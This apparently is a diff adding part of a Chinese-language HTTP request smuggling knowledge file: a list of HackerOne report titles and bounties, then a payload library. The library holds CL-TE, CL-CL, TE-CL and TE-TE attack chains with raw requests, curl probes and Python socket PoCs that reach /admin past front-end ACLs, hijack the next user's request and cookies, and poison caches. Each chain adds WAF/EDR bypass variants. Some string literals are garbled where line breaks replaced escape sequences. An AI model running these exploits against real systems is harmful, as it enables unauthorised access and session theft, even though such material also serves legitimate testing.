+ | High | 20000 usd | PayPal | [Bypass for #488147 enables stored XSS on https://paypal.com/signin again](https://hackerone.com/reports/510152) | Bypass for #488147 enables stored XSS on https://paypal.com/signin again |
175
+ | High | 18900 usd | PayPal | [Stored XSS on https://paypal.com/signin via cache poisoning](https://hackerone.com/reports/488147) | Stored XSS on https://paypal.com/signin via cache poisoning |
176
+ | Critical | — | Slack | [Mass account takeovers using HTTP Request Smuggling on https://slackb.com/ to steal session cookies](https://hackerone.com/reports/737140) | Hi Slack Security Team! My name is Evan and I'm a first time bug hunter to your platform :) Because you guys were running a mon… |
177
+ | High | — | LY Corporation | [Request smuggling on admin-official.line.me could lead to account takeover](https://hackerone.com/reports/740037) | Request smuggling on admin-official.line.me could lead to account takeover |
178
+ | Critical | — | Eternal | [Stealing Zomato X-Access-Token: in Bulk using HTTP Request Smuggling on api.zomato.com](https://hackerone.com/reports/771666) | Intro Hi Zomato Security Team! My name is Evan Custodio and this is my first time evaluating your platform. I specialize in loo… |
179
+ | Critical | 7500 usd | Basecamp | [HTTP Request Smuggling via HTTP/2](https://hackerone.com/reports/1211724) | HTTP Request Smuggling via HTTP/2 |
180
+ | High | — | Helium | [HTTP request Smuggling](https://hackerone.com/reports/867952) | When malformed or abnormal HTTP requests are interpreted by one or more entities in the data flow between the user and the web … |
181
+ | Critical | 6000 usd | Cloudflare Public Bug Bounty | [HTTP Request Smuggling in Transform Rules using hexadecimal escape sequences in the concat() func…](https://hackerone.com/reports/1478633) | HTTP Request Smuggling in Transform Rules using hexadecimal escape sequences in the concat() function |
182
+ | High | 750 usd | GSA Bounty | [HTTP Request Smuggling on https://labs.data.gov](https://hackerone.com/reports/726773) | Greetings, The application appears to be vulnerable to HTTP request smuggling due to a disagreement between the front-end and b… |
183
+ | High | 4660 usd | Internet Bug Bounty | [Possibility of Request smuggling attack](https://hackerone.com/reports/2280391) | Request smuggling was possible by throwing an IOException with the upper size limit of the trailer header |
184
+ | High | — | Node.js | [HTTP Request Smuggling due to CR-to-Hyphen conversion](https://hackerone.com/reports/922597) | NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, th… |
185
+ | Critical | 5000 usd | Aiven Ltd | [Grafana RCE via SMTP server parameter injection](https://hackerone.com/reports/1200647) | Summary: This report is similar to #1180653, except with different parameter injection entrypoint |
186
+
187
+ **命中本类的 weakness 分布:**
188
+
189
+ - HTTP Request Smuggling:27 条
190
+ - CRLF Injection:5 条
191
+ - Uncategorized → 手工归类:4 条
192
+ - HTTP Response Splitting:2 条
193
+
194
+
195
+ ## Payload 库
196
+
197
+ _4 个结构化 web payload,含完整攻击链 + WAF/EDR 绕过变体_
198
+
199
+ ### CL-TE请求走私 `smuggling-cl-te`
200
+ Content-Length与Transfer-Encoding走私
201
+ 子类:**CL-TE** · tags: `smuggling` `request` `http`
202
+
203
+ **前置条件:** 目标使用多层代理;前后端处理差异
204
+
205
+ **攻击链:**
206
+
207
+ **1. CL-TE基础**
208
+ _CL-TE走私_
209
+ ```
210
+ POST / HTTP/1.1
211
+ Host: target.com
212
+ Content-Length: 13
213
+ Transfer-Encoding: chunked
214
+
215
+ 0
216
+
217
+ SMUGGLED
218
+ ```
219
+
220
+ **2. TE-CL基础**
221
+ _TE-CL走私_
222
+ ```
223
+ POST / HTTP/1.1
224
+ Host: target.com
225
+ Content-Length: 3
226
+ Transfer-Encoding: chunked
227
+
228
+ 8
229
+ SMUGGLED
230
+ 0
231
+ ```
232
+
233
+ **3. TE-TE**
234
+ _TE-TE走私_
235
+ ```
236
+ POST / HTTP/1.1
237
+ Host: target.com
238
+ Transfer-Encoding: chunked
239
+ Transfer-Encoding: x
240
+
241
+ 0
242
+
243
+ SMUGGLED
244
+ ```
245
+
246
+ **WAF/EDR 绕过变体:**
247
+
248
+ **1. TE头混淆变体**
249
+ _通过在Transfer-Encoding头中添加空格、制表符、换行符、多重头部、拼写变体等方式使前后端代理对该头的解析产生差异,触发请求走私_
250
+ ```
251
+ # TE头混淆(使前/后端对TE解析不一致):
252
+ Transfer-Encoding: chunked
253
+
254
+ Transfer-Encoding : chunked
255
+
256
+ Transfer-Encoding: xchunked
257
+
258
+ Transfer-Encoding: chunked
259
+ Transfer-Encoding: x
260
+
261
+ Transfer-Encoding:[tab]chunked
262
+
263
+ X: x
264
+ Transfer-Encoding: chunked
265
+
266
+ Transfer-Encoding
267
+ : chunked
268
+ ```
269
+
270
+ **2. Chunked扩展字段与CL-TE组合利用**
271
+ _利用HTTP Chunked编码的扩展字段(分号后内容)干扰解析,或通过CL-0技巧使前端认为请求无体而后端继续处理走私的第二个请求_
272
+ ```
273
+ # Chunked扩展字段(RFC允许的分号后扩展):
274
+ POST / HTTP/1.1
275
+ Host: target.com
276
+ Content-Length: 6
277
+ Transfer-Encoding: chunked
278
+
279
+ 0;ext="injected"
280
+
281
+ G
282
+
283
+ # CL-0走私:
284
+ POST / HTTP/1.1
285
+ Host: target.com
286
+ Content-Length: 0
287
+ Transfer-Encoding: chunked
288
+
289
+ GET /admin HTTP/1.1
290
+ Host: target.com
291
+ ```
292
+
293
+ ---
294
+
295
+ ### CL-CL走私 `smuggling-cl-cl`
296
+ 利用前端代理和后端服务器同时处理Content-Length头但对多个CL头的处理差异实现HTTP请求走私
297
+ 子类:**CL-CL** · tags: `smuggling` `cl-cl` `http`
298
+
299
+ **前置条件:** 存在前端代理(如HAProxy/Nginx)+后端服务器架构;两端对Content-Length头的解析存在差异;理解HTTP请求走私原理
300
+
301
+ **攻击链:**
302
+
303
+ **1. 检测CL-CL走私条件** _[linux]_
304
+ _探测目标是否存在双CL走私条件_
305
+ ```
306
+ # 检测前端代理类型:
307
+ curl -sI "http://target.com/" | grep -iE "server:|via:|x-forwarded"
308
+
309
+ # 发送包含两个Content-Length的请求:
310
+ curl -v "http://target.com/" -H "Content-Length: 6" -H "Content-Length: 0" -d "test12"
311
+
312
+ # 观察响应:
313
+ # - 如果正常返回: 可能只解析了一个CL
314
+ # - 如果400/错误: 服务器拒绝多CL(安全)
315
+ # - 如果部分处理: 存在走私可能
316
+ ```
317
+
318
+ **2. CL-CL请求走私POC**
319
+ _构造包含两个Content-Length的走私请求,将恶意请求注入到后端处理队列_
320
+ ```
321
+ # Python POC - CL-CL走私
322
+ import socket
323
+
324
+ def smuggle_cl_cl(host, port):
325
+ payload = (
326
+ "POST / HTTP/1.1
327
+ "
328
+ f"Host: {host}
329
+ "
330
+ "Content-Length: 44
331
+ " # 前端使用这个CL
332
+ "Content-Length: 0
333
+ " # 后端使用这个CL
334
+ "
335
+ "
336
+ "GET /admin HTTP/1.1
337
+ " # 走私的请求
338
+ f"Host: {host}
339
+ "
340
+ "
341
+ "
342
+ )
343
+ s = socket.socket()
344
+ s.connect((host, port))
345
+ s.send(payload.encode())
346
+ resp = s.recv(4096).decode(errors="ignore")
347
+ print(resp)
348
+ s.close()
349
+
350
+ smuggle_cl_cl("target.com", 80)
351
+ ```
352
+
353
+ **3. 利用CL-CL走私绕过前端访问控制**
354
+ _利用CL-CL走私绕过前端代理的ACL访问限制访问/admin_
355
+ ```
356
+ # 场景:前端限制/admin访问,通过走私绕过
357
+ import socket
358
+
359
+ def bypass_acl(host, port):
360
+ # 走私请求到/admin端点
361
+ smuggled = (
362
+ "GET /admin HTTP/1.1
363
+ "
364
+ f"Host: {host}
365
+ "
366
+ "
367
+ "
368
+ )
369
+ content_length_real = len(smuggled)
370
+
371
+ payload = (
372
+ "POST / HTTP/1.1
373
+ "
374
+ f"Host: {host}
375
+ "
376
+ f"Content-Length: {content_length_real}
377
+ "
378
+ "Content-Length: 0
379
+ "
380
+ "Connection: keep-alive
381
+ "
382
+ "
383
+ "
384
+ + smuggled
385
+ )
386
+
387
+ s = socket.socket()
388
+ s.connect((host, port))
389
+ s.send(payload.encode())
390
+ # 接收两个响应
391
+ resp = s.recv(8192).decode(errors="ignore")
392
+ print("[Response 1 - Normal]")
393
+ print(resp[:500])
394
+ resp2 = s.recv(8192).decode(errors="ignore")
395
+ print("[Response 2 - Smuggled /admin]")
396
+ print(resp2[:500])
397
+ s.close()
398
+
399
+ bypass_acl("target.com", 80)
400
+ ```
401
+
402
+ **WAF/EDR 绕过变体:**
403
+
404
+ **1. HTTP/2降级绕过**
405
+ _利用HTTP/2到HTTP/1.1协议降级时前后端对请求边界解析不一致实现走私_
406
+ ```
407
+ # HTTP/2 -> HTTP/1.1降级利用
408
+ # 前端H2后端H1时的走私
409
+ :method: POST
410
+ :path: /
411
+ :authority: target.com
412
+ content-length: 0
413
+
414
+ GET /admin HTTP/1.1
415
+ Host: target.com
416
+
417
+ # H2C升级走私
418
+ GET / HTTP/1.1
419
+ Host: target.com
420
+ Upgrade: h2c
421
+ HTTP2-Settings: <base64>
422
+ Connection: Upgrade, HTTP2-Settings
423
+ ```
424
+
425
+ **2. 连接复用操控**
426
+ _通过双Content-Length头值差异和keep-alive连接复用在代理链中走私请求_
427
+ ```
428
+ # 双CL值差异
429
+ POST / HTTP/1.1
430
+ Host: target.com
431
+ Content-Length: 6
432
+ Content-Length: 50
433
+
434
+ 12345GPOST /admin HTTP/1.1
435
+ Host: target.com
436
+
437
+ # 利用keep-alive连接复用
438
+ GET / HTTP/1.1
439
+ Host: target.com
440
+ Connection: keep-alive
441
+ Content-Length: 0
442
+
443
+ GET /admin HTTP/1.1
444
+ Host: internal.target.com
445
+ ```
446
+
447
+ **3. 代理链混淆**
448
+ _利用多级代理对Content-Length头中空格和冒号处理差异实现请求走私_
449
+ ```
450
+ # 多级代理CL处理差异
451
+ POST / HTTP/1.1
452
+ Host: target.com
453
+ Content-Length: 44
454
+ Content-Length : 0
455
+
456
+ GET /admin HTTP/1.1
457
+ Host: target.com
458
+ X: 1
459
+
460
+ # 空格混淆CL头
461
+ POST / HTTP/1.1
462
+ Host: target.com
463
+ Content-Length: 0
464
+ Content-Length: 42
465
+
466
+ GET /internal HTTP/1.1
467
+ Host: target.com
468
+ ```
469
+
470
+ ---
471
+
472
+ ### TE-CL走私 `smuggling-te-cl`
473
+ 利用前端使用Transfer-Encoding而后端使用Content-Length的差异实现HTTP请求走私
474
+ 子类:**TE-CL** · tags: `smuggling` `te-cl` `http`
475
+
476
+ **前置条件:** 前端代理优先处理Transfer-Encoding;后端服务器优先处理Content-Length;理解chunked编码格式
477
+
478
+ **攻击链:**
479
+
480
+ **1. 检测TE-CL差异**
481
+ _检测前端和后端对TE vs CL的优先级差异_
482
+ ```
483
+ # 发送同时包含TE和CL的请求:
484
+ curl -v "http://target.com/" -H "Transfer-Encoding: chunked" -H "Content-Length: 3" -d "0
485
+
486
+ "
487
+
488
+ # 使用timing检测:
489
+ # 如果后端使用CL,会等待更多数据(超时)
490
+ import socket, time
491
+
492
+ s = socket.socket()
493
+ s.connect(("target.com", 80))
494
+ payload = (
495
+ "POST / HTTP/1.1
496
+ "
497
+ "Host: target.com
498
+ "
499
+ "Transfer-Encoding: chunked
500
+ "
501
+ "Content-Length: 6
502
+ "
503
+ "
504
+ "
505
+ "0
506
+
507
+ "
508
+ )
509
+ s.send(payload.encode())
510
+ start = time.time()
511
+ resp = s.recv(4096)
512
+ elapsed = time.time() - start
513
+ print(f"Response in {elapsed:.2f}s")
514
+ # 快速响应=后端用TE, 延迟响应=后端用CL
515
+ ```
516
+
517
+ **2. TE-CL走私POC**
518
+ _TE-CL走私:前端按chunked处理转发整个body,后端按CL只读取部分,剩余变为走私请求_
519
+ ```
520
+ import socket
521
+
522
+ def te_cl_smuggle(host, port):
523
+ # 前端(TE): 读取到"0
524
+
525
+ "结束 → 整个payload是一个请求
526
+ # 后端(CL): 只读取Content-Length指定的字节 → 剩余字节是新请求
527
+
528
+ smuggled = "GET /admin HTTP/1.1
529
+ Host: {}
530
+
531
+ ".format(host)
532
+
533
+ payload = (
534
+ "POST / HTTP/1.1
535
+ "
536
+ "Host: {}
537
+ "
538
+ "Content-Length: 4
539
+ "
540
+ "Transfer-Encoding: chunked
541
+ "
542
+ "
543
+ "
544
+ "{}
545
+ "
546
+ "{}"
547
+ "0
548
+
549
+ "
550
+ ).format(host, format(len(smuggled), "x"), smuggled)
551
+
552
+ s = socket.socket()
553
+ s.connect((host, port))
554
+ s.send(payload.encode())
555
+ resp = s.recv(4096)
556
+ print(resp.decode(errors="ignore")[:500])
557
+ s.close()
558
+
559
+ te_cl_smuggle("target.com", 80)
560
+ ```
561
+
562
+ **3. TE-CL走私实现请求劫持**
563
+ _走私不完整的POST请求,使下一个用户的请求内容(含Cookie)被反射到搜索结果中_
564
+ ```
565
+ # 利用走私劫持下一个用户的请求
566
+ import socket
567
+
568
+ def hijack_request(host, port):
569
+ # 走私一个不完整的POST请求
570
+ # 下一个正常用户的请求会被拼接为这个POST的body
571
+ smuggled = (
572
+ "POST /search HTTP/1.1
573
+ "
574
+ "Host: {}
575
+ "
576
+ "Content-Type: application/x-www-form-urlencoded
577
+ "
578
+ "Content-Length: 200
579
+ " # 大CL会吞噬下一个请求
580
+ "
581
+ "
582
+ "q=" # 下一个请求的数据会被当作搜索参数
583
+ ).format(host)
584
+
585
+ chunk_size = format(len(smuggled), "x")
586
+ payload = (
587
+ "POST / HTTP/1.1
588
+ "
589
+ "Host: {}
590
+ "
591
+ "Content-Length: 4
592
+ "
593
+ "Transfer-Encoding: chunked
594
+ "
595
+ "
596
+ "
597
+ "{}
598
+ "
599
+ "{}"
600
+ "0
601
+
602
+ "
603
+ ).format(host, chunk_size, smuggled)
604
+
605
+ s = socket.socket()
606
+ s.connect((host, port))
607
+ s.send(payload.encode())
608
+ print(s.recv(4096).decode(errors="ignore")[:500])
609
+ s.close()
610
+
611
+ hijack_request("target.com", 80)
612
+ ```
613
+
614
+ **WAF/EDR 绕过变体:**
615
+
616
+ **1. TE头大小写变体绕过**
617
+ _利用不同代理对Transfer-Encoding头名大小写和值处理的差异绕过TE-CL走私检测_
618
+ ```
619
+ # TE头大小写混淆
620
+ POST / HTTP/1.1
621
+ Host: target.com
622
+ Content-Length: 4
623
+ Transfer-Encoding: chunked
624
+ Transfer-encoding: identity
625
+
626
+ 5c
627
+ GPOST /admin HTTP/1.1
628
+ Content-Type: application/x-www-form-urlencoded
629
+ Content-Length: 15
630
+
631
+ x=1
632
+ 0
633
+
634
+
635
+ # Transfer-Encoding变体
636
+ Transfer-Encoding: xchunked
637
+ Transfer-Encoding : chunked
638
+ Transfer-Encoding: chunked
639
+ Transfer-Encoding: x
640
+ ```
641
+
642
+ **2. 空白字符注入**
643
+ _在Transfer-Encoding头中注入制表符、前导空格和CRLF字符,使不同代理解析不同_
644
+ ```
645
+ # 制表符/换行注入TE头
646
+ POST / HTTP/1.1
647
+ Host: target.com
648
+ Content-Length: 4
649
+ Transfer-Encoding:\tchunked
650
+
651
+ # 行前空格混淆
652
+ POST / HTTP/1.1
653
+ Host: target.com
654
+ Content-Length: 4
655
+ Transfer-Encoding: chunked
656
+
657
+ # CRLF注入变体
658
+ POST / HTTP/1.1
659
+ Host: target.com
660
+ Content-Length: 4
661
+ Transfer-Encoding: chunked\x0d\x0aX-Ignore: x
662
+ ```
663
+
664
+ **3. chunk扩展字段利用**
665
+ _利用HTTP分块传输中chunk-extension字段和非标准chunk大小格式造成前后端解析差异_
666
+ ```
667
+ # chunk扩展混淆
668
+ POST / HTTP/1.1
669
+ Host: target.com
670
+ Content-Length: 4
671
+ Transfer-Encoding: chunked
672
+
673
+ 5;ext=val
674
+ hello
675
+ 0
676
+
677
+
678
+ # 超长chunk扩展
679
+ 5;aaaaaaa...aaaa=bbbb...bbb
680
+ hello
681
+ 0
682
+
683
+
684
+ # 非法chunk大小格式
685
+ 5
686
+ hello
687
+ 0
688
+
689
+
690
+ # 0x前缀
691
+ 0x5
692
+ hello
693
+ 0
694
+ ```
695
+
696
+ ---
697
+
698
+ ### TE-TE走私 `smuggling-te-te`
699
+ 利用前端和后端对Transfer-Encoding头的不同混淆变体的处理差异实现请求走私
700
+ 子类:**TE-TE** · tags: `smuggling` `te-te` `http`
701
+
702
+ **前置条件:** 前后端都支持Transfer-Encoding;可以通过TE头混淆使一端忽略TE;了解chunked编码和HTTP走私原理
703
+
704
+ **攻击链:**
705
+
706
+ **1. TE混淆变体探测**
707
+ _测试各种Transfer-Encoding混淆变体,寻找前后端解析差异_
708
+ ```
709
+ # Transfer-Encoding的各种混淆写法:
710
+ # 测试哪种混淆能让一端忽略TE
711
+ import socket
712
+
713
+ te_variants = [
714
+ "Transfer-Encoding: xchunked",
715
+ "Transfer-Encoding : chunked", # 冒号前空格
716
+ "Transfer-Encoding: chunked
717
+ Transfer-encoding: cow", # 两个TE
718
+ "Transfer-Encoding : chunked", # Tab分隔
719
+ "Transfer-Encoding: chunked", # Tab前缀
720
+ " Transfer-Encoding: chunked", # 行首空格
721
+ "X: x
722
+ Transfer-Encoding: chunked", # Header注入
723
+ "Transfer-Encoding: chunked\x00", # 空字节
724
+ ]
725
+
726
+ for i, te in enumerate(te_variants):
727
+ print(f"[{i}] Testing: {te[:60]}")
728
+ payload = (
729
+ "POST / HTTP/1.1
730
+ "
731
+ "Host: target.com
732
+ "
733
+ f"{te}
734
+ "
735
+ "Content-Length: 5
736
+ "
737
+ "
738
+ "
739
+ "0
740
+
741
+ "
742
+ )
743
+ try:
744
+ s = socket.socket()
745
+ s.settimeout(3)
746
+ s.connect(("target.com", 80))
747
+ s.send(payload.encode())
748
+ resp = s.recv(1024).decode(errors="ignore")
749
+ status = resp.split("
750
+ ")[0] if resp else "No response"
751
+ print(f" → {status}")
752
+ s.close()
753
+ except Exception as e:
754
+ print(f" → Error: {e}")
755
+ ```
756
+
757
+ **2. TE-TE走私利用(前端忽略混淆TE)**
758
+ _利用TE头混淆使一端按CL、另一端按TE处理,实现走私_
759
+ ```
760
+ import socket
761
+
762
+ def te_te_smuggle(host, port, te_header):
763
+ # 前端不识别混淆的TE → 使用CL
764
+ # 后端识别混淆的TE → 使用chunked
765
+
766
+ smuggled = "GET /admin HTTP/1.1
767
+ Host: {}
768
+
769
+ ".format(host)
770
+
771
+ payload = (
772
+ "POST / HTTP/1.1
773
+ "
774
+ "Host: {}
775
+ "
776
+ "Content-Length: {}
777
+ "
778
+ "{}
779
+ "
780
+ "
781
+ "
782
+ "0
783
+ "
784
+ "
785
+ "
786
+ "{}"
787
+ ).format(
788
+ host,
789
+ len("0
790
+
791
+ " + smuggled),
792
+ te_header,
793
+ smuggled
794
+ )
795
+
796
+ s = socket.socket()
797
+ s.connect((host, port))
798
+ s.send(payload.encode())
799
+ resp = s.recv(4096)
800
+ print(resp.decode(errors="ignore")[:500])
801
+ s.close()
802
+
803
+ # 使用发现的有效混淆变体:
804
+ te_te_smuggle("target.com", 80, "Transfer-Encoding: chunked
805
+ Transfer-encoding: cow")
806
+ ```
807
+
808
+ **3. TE-TE缓存投毒攻击**
809
+ _利用TE-TE走私实现Web缓存投毒攻击_
810
+ ```
811
+ import socket
812
+
813
+ def cache_poison_via_smuggling(host, port):
814
+ # 通过走私实现缓存投毒:
815
+ # 走私的请求指向静态资源,但包含恶意响应头/内容
816
+
817
+ smuggled = (
818
+ "GET /static/main.js HTTP/1.1
819
+ "
820
+ "Host: {}
821
+ "
822
+ "
823
+ "
824
+ ).format(host)
825
+
826
+ # 先发送走私请求
827
+ payload = (
828
+ "POST / HTTP/1.1
829
+ "
830
+ "Host: {}
831
+ "
832
+ "Content-Length: {}
833
+ "
834
+ "Transfer-Encoding: chunked
835
+ "
836
+ "Transfer-encoding: x
837
+ "
838
+ "
839
+ "
840
+ "0
841
+ "
842
+ "
843
+ "
844
+ "{}"
845
+ ).format(host, len("0
846
+
847
+ " + smuggled), smuggled)
848
+
849
+ s = socket.socket()
850
+ s.connect((host, port))
851
+ s.send(payload.encode())
852
+ resp = s.recv(4096)
853
+ print("[*] Cache poisoned")
854
+ print(resp.decode(errors="ignore")[:300])
855
+ s.close()
856
+
857
+ cache_poison_via_smuggling("target.com", 80)
858
+ ```
859
+
860
+ **WAF/EDR 绕过变体:**
861
+
862
+ **1. 多重TE头混淆**
863
+ _发送多个Transfer-Encoding头或逗号分隔多值,利用前后端对多值TE头的优先级差异_
864
+ ```
865
+ # 多个Transfer-Encoding头
866
+ POST / HTTP/1.1
867
+ Host: target.com
868
+ Transfer-Encoding: chunked
869
+ Transfer-Encoding: identity
870
+ Transfer-Encoding: chunked
871
+
872
+ # 逗号分隔多值
873
+ Transfer-Encoding: chunked, identity
874
+ Transfer-Encoding: identity, chunked
875
+
876
+ # 混合有效无效值
877
+ Transfer-Encoding: chunked
878
+ Transfer-Encoding: cow
879
+ Transfer-Encoding: chunked
880
+ ```
881
+
882
+ **2. 非标准TE值混淆**
883
+ _使用非标准或被篡改的Transfer-Encoding值,使前端代理回退到CL而后端仍解析为chunked_
884
+ ```
885
+ # 垃圾TE值使某些代理忽略TE
886
+ Transfer-Encoding: xchunked
887
+ Transfer-Encoding: chunked-false
888
+ Transfer-Encoding: chunk
889
+ Transfer-Encoding: CHUNKED
890
+
891
+ # 引号包裹
892
+ Transfer-Encoding: "chunked"
893
+
894
+ # 参数附加
895
+ Transfer-Encoding: chunked; q=0.5
896
+ Transfer-Encoding: chunked, x
897
+
898
+ # 编码混淆
899
+ Transfer-\x45ncoding: chunked
900
+ ```
901
+
902
+ **3. 代理特定解析绕过**
903
+ _针对特定代理/服务器(HAProxy/Apache/Nginx)的TE头解析特性发送定制化走私payload_
904
+ ```
905
+ # HAProxy特定绕过
906
+ POST / HTTP/1.1
907
+ Host: target.com
908
+ Transfer-Encoding:[\x0b]chunked
909
+
910
+ # Apache特定绕过
911
+ POST / HTTP/1.1
912
+ Host: target.com
913
+ Transfer-Encoding:\x00chunked
914
+
915
+ # Nginx特定绕过
916
+ POST / HTTP/1.1
917
+ Host: target.com
918
+ Transfer-Encoding: chunked\x20
919
+
920
+ # 通用尾部空白
921
+ Transfer-Encoding: chunked
922
+ ```
923
+
924
+ ---